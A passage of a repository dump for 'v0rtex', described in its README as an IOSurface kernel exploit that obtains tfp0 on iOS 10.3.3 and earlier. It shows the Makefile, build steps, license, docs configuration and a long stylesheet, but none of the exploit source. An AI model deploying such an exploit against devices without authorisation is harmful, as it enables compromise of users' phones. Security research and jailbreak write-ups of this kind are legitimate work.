├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── docs ├── README.md ├── _config.yml ├── _layouts │ └── default.html ├── assets │ └── css │ │ └── style.css └── index.md ├── lib ├── libSystem.B.tbd └── libSystem.tbd ├── res └── Info.plist └── src ├── AppDelegate.h ├── AppDelegate.m ├── Application.h ├── Application.m ├── MainController.h ├── MainController.m ├── common.h ├── main.m ├── offsets.h ├── offsets.m ├── v0rtex.h └── v0rtex.m /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | /bin 3 | /*.ipa 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Siguza 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | TARGET = v0rtex 2 | PACKAGE = net.siguza.v0rtex 3 | VERSION = 1.0.0 4 | BIN = bin 5 | SRC = src 6 | RES = res 7 | APP = $(BIN)/Payload/$(TARGET).app 8 | PNGS := $(wildcard $(RES)/*.png) 9 | FILES := $(TARGET) Info.plist $(PNGS:$(RES)/%=%) 10 | IGCC ?= xcrun -sdk iphoneos gcc 11 | ARCH ?= -arch armv7 -arch arm64 12 | IGCC_FLAGS ?= -Wall -O3 -Llib -fmodules -framework IOKit $(CFLAGS) 13 | STRIP ?= xcrun -sdk iphoneos strip 14 | 15 | .PHONY: all clean 16 | 17 | all: $(TARGET).ipa 18 | 19 | $(TARGET).ipa: $(addprefix $(APP)/, $(FILES)) 20 | cd $(BIN) && zip -x .DS_Store -qr9 ../$@ Payload 21 | 22 | $(APP)/$(TARGET): $(SRC)/*.m | $(APP) 23 | $(IGCC) $(ARCH) -o $@ $(IGCC_FLAGS) $^ 24 | $(STRIP) $@ 25 | 26 | $(APP)/Info.plist: $(RES)/Info.plist | $(APP) 27 | sed 's/$$(TARGET)/$(TARGET)/g;s/$$(PACKAGE)/$(PACKAGE)/g;s/$$(VERSION)/$(VERSION)/g' $(RES)/Info.plist > $@ 28 | 29 | $(APP)/%.png: $(RES)/$(@F) | $(APP) 30 | cp $(RES)/$(@F) $@ 31 | 32 | $(APP): 33 | mkdir -p $@ 34 | 35 | clean: 36 | rm -rf $(BIN) $(TARGET).ipa 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # v0rtex 2 | 3 | IOSurface exploit. 4 | 5 | Gets tfp0, works on all devices on 10.3.3 or lower. 6 | Offsets included only for iPod 6G and and iPhone 5/5c on 10.3.3 though. 7 | 8 | ### Building 9 | 10 | With Xcode: 11 | 12 | make 13 | 14 | Without Xcode/macOS you'll at least want to point `IGCC` and `STRIP` to tools that can handle Mach-O's and build for iOS. You might also have to adjust `ARCH` and `IGCC_FLAGS`. 15 | 16 | ### Write-up 17 | 18 | **[Here](https://siguza.github.io/v0rtex/)**. 19 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | This is best viewed at [blog.siguza.net/v0rtex](https://blog.siguza.net/v0rtex/). 4 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | title: "v0rtex" 2 | description: "Siguza's Blog" 3 | url: "https://blog.siguza.net" 4 | baseurl: "/v0rtex" 5 | -------------------------------------------------------------------------------- /docs/_layouts/default.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {% seo %} 8 | 9 | 10 | 11 |
12 | 13 |
14 | {{ content }} 15 |
16 |
17 | 18 | 19 | -------------------------------------------------------------------------------- /docs/assets/css/style.css: -------------------------------------------------------------------------------- 1 | /*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}a:active,a:hover{outline-width:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:bold}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:0.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";font-size:14px;line-height:1.5;color:#24292e;background-color:#fff}a{color:#0366d6;text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid #dfe2e5}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.anim-fade-in{animation-name:fade-in;animation-duration:1s;animation-timing-function:ease-in-out}.anim-fade-in.fast{animation-duration:300ms}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.anim-fade-out{animation-name:fade-out;animation-duration:1s;animation-timing-function:ease-out}.anim-fade-out.fast{animation-duration:0.3s}@keyframes fade-out{0%{opacity:1}100%{opacity:0}}.anim-fade-up{opacity:0;animation-name:fade-up;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease-out;animation-delay:1s}@keyframes fade-up{0%{opacity:0.8;transform:translateY(100%)}100%{opacity:1;transform:translateY(0)}}.anim-fade-down{animation-name:fade-down;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease-in}@keyframes fade-down{0%{opacity:1;transform:translateY(0)}100%{opacity:0.5;transform:translateY(100%)}}.anim-grow-x{width:0%;animation-name:grow-x;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease;animation-delay:0.5s}@keyframes grow-x{to{width:100%}}.anim-shrink-x{animation-name:shrink-x;animation-duration:0.3s;animation-fill-mode:forwards;animation-timing-function:ease-in-out;animation-delay:0.5s}@keyframes shrink-x{to{width:0%}}.anim-scale-in{animation-name:scale-in;animation-duration:0.15s;animation-timing-function:cubic-bezier(0.2, 0, 0.13, 1.5)}@keyframes scale-in{0%{opacity:0;transform:scale(0.5)}100%{opacity:1;transform:scale(1)}}.anim-pulse{animation-name:pulse;animation-duration:2s;animation-timing-function:linear;animation-iteration-count:infinite}@keyframes pulse{0%{opacity:0.3}10%{opacity:1}100%{opacity:0.3}}.anim-pulse-in{animation-name:pulse-in;animation-duration:0.5s}@keyframes pulse-in{0%{transform:scale3d(1, 1, 1)}50%{transform:scale3d(1.1, 1.1, 1.1)}100%{transform:scale3d(1, 1, 1)}}.hover-grow{transition:transform 0.3s;backface-visibility:hidden}.hover-grow:hover{transform:scale(1.025)}.border{border:1px #e1e4e8 solid !important}.border-y{border-top:1px #e1e4e8 solid !important;border-bottom:1px #e1e4e8 solid !important}.border-0{border:0 !important}.border-dashed{border-style:dashed !important}.border-blue{border-color:#0366d6 !important}.border-blue-light{border-color:#c8e1ff !important}.border-green{border-color:#34d058 !important}.border-green-light{border-color:#a2cbac !important}.border-red{border-color:#d73a49 !important}.border-red-light{border-color:#cea0a5 !important}.border-purple{border-color:#6f42c1 !important}.border-yellow{border-color:#d9d0a5 !important}.border-gray-light{border-color:#eaecef !important}.border-gray-dark{border-color:#d1d5da !important}.border-black-fade{border-color:rgba(27,31,35,0.15) !important}.border-top{border-top:1px #e1e4e8 solid !important}.border-right{border-right:1px #e1e4e8 solid !important}.border-bottom{border-bottom:1px #e1e4e8 solid !important}.border-left{border-left:1px #e1e4e8 solid !important}.border-top-0{border-top:0 !important}.border-right-0{border-right:0 !important}.border-bottom-0{border-bottom:0 !important}.border-left-0{border-left:0 !important}.rounded-0{border-radius:0 !important}.rounded-1{border-radius:3px !important}.rounded-2{border-radius:6px !important}.rounded-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}@media (min-width: 544px){.border-sm-top{border-top:1px #e1e4e8 solid !important}.border-sm-right{border-right:1px #e1e4e8 solid !important}.border-sm-bottom{border-bottom:1px #e1e4e8 solid !important}.border-sm-left{border-left:1px #e1e4e8 solid !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:3px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}@media (min-width: 768px){.border-md-top{border-top:1px #e1e4e8 solid !important}.border-md-right{border-right:1px #e1e4e8 solid !important}.border-md-bottom{border-bottom:1px #e1e4e8 solid !important}.border-md-left{border-left:1px #e1e4e8 solid !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:3px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}@media (min-width: 1012px){.border-lg-top{border-top:1px #e1e4e8 solid !important}.border-lg-right{border-right:1px #e1e4e8 solid !important}.border-lg-bottom{border-bottom:1px #e1e4e8 solid !important}.border-lg-left{border-left:1px #e1e4e8 solid !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:3px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}@media (min-width: 1280px){.border-xl-top{border-top:1px #e1e4e8 solid !important}.border-xl-right{border-right:1px #e1e4e8 solid !important}.border-xl-bottom{border-bottom:1px #e1e4e8 solid !important}.border-xl-left{border-left:1px #e1e4e8 solid !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:3px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:3px !important;border-top-right-radius:3px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:3px !important;border-bottom-right-radius:3px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:3px !important;border-bottom-left-radius:3px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:3px !important;border-top-left-radius:3px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}}.circle{border-radius:50% !important}.box-shadow{box-shadow:0 1px 1px rgba(27,31,35,0.1) !important}.box-shadow-medium{box-shadow:0 1px 5px rgba(27,31,35,0.15) !important}.box-shadow-large{box-shadow:0 1px 15px rgba(27,31,35,0.15) !important}.box-shadow-extra-large{box-shadow:0 10px 50px rgba(27,31,35,0.07) !important}.box-shadow-none{box-shadow:none !important}.bg-white{background-color:#fff !important}.bg-blue{background-color:#0366d6 !important}.bg-blue-light{background-color:#f1f8ff !important}.bg-gray-dark{background-color:#24292e !important}.bg-gray{background-color:#f6f8fa !important}.bg-gray-light{background-color:#fafbfc !important}.bg-green{background-color:#28a745 !important}.bg-green-light{background-color:#dcffe4 !important}.bg-red{background-color:#d73a49 !important}.bg-red-light{background-color:#ffdce0 !important}.bg-yellow{background-color:#ffd33d !important}.bg-yellow-light{background-color:#fff5b1 !important}.bg-purple{background-color:#6f42c1 !important}.bg-purple-light{background-color:#f5f0ff !important}.bg-shade-gradient{background-image:linear-gradient(180deg, rgba(27,31,35,0.065), rgba(27,31,35,0)) !important;background-repeat:no-repeat !important;background-size:100% 200px !important}.text-blue{color:#0366d6 !important}.text-red{color:#cb2431 !important}.text-gray-light{color:#6a737d !important}.text-gray{color:#586069 !important}.text-gray-dark{color:#24292e !important}.text-green{color:#28a745 !important}.text-orange{color:#a04100 !important}.text-orange-light{color:#e36209 !important}.text-purple{color:#6f42c1 !important}.text-white{color:#fff !important}.text-inherit{color:inherit !important}.text-pending{color:#b08800 !important}.bg-pending{color:#dbab09 !important}.link-gray{color:#586069 !important}.link-gray:hover{color:#0366d6 !important}.link-gray-dark{color:#24292e !important}.link-gray-dark:hover{color:#0366d6 !important}.link-hover-blue:hover{color:#0366d6 !important}.muted-link{color:#586069 !important}.muted-link:hover{color:#0366d6 !important;text-decoration:none}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:99;background:rgba(27,31,35,0.5)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-auto{flex:1 1 auto !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-item-equal{flex-grow:1;flex-basis:0}@media (min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-auto{flex:1 1 auto !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-item-equal{flex-grow:1;flex-basis:0}}@media (min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-auto{flex:1 1 auto !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-item-equal{flex-grow:1;flex-basis:0}}@media (min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-auto{flex:1 1 auto !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-item-equal{flex-grow:1;flex-basis:0}}@media (min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-auto{flex:1 1 auto !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-item-equal{flex-grow:1;flex-basis:0}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-hidden{overflow:hidden !important}.overflow-scroll{overflow:scroll !important}.overflow-auto{overflow:auto !important}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media (min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media (min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media (min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media (min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media (min-width: 544px){.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media (min-width: 768px){.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media (min-width: 1012px){.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media (min-width: 1280px){.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mr-0{margin-right:0 !important}.mb-0{margin-bottom:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mr-1{margin-right:4px !important}.mb-1{margin-bottom:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mr-n1{margin-right:-4px !important}.mb-n1{margin-bottom:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mr-2{margin-right:8px !important}.mb-2{margin-bottom:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mr-n2{margin-right:-8px !important}.mb-n2{margin-bottom:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px 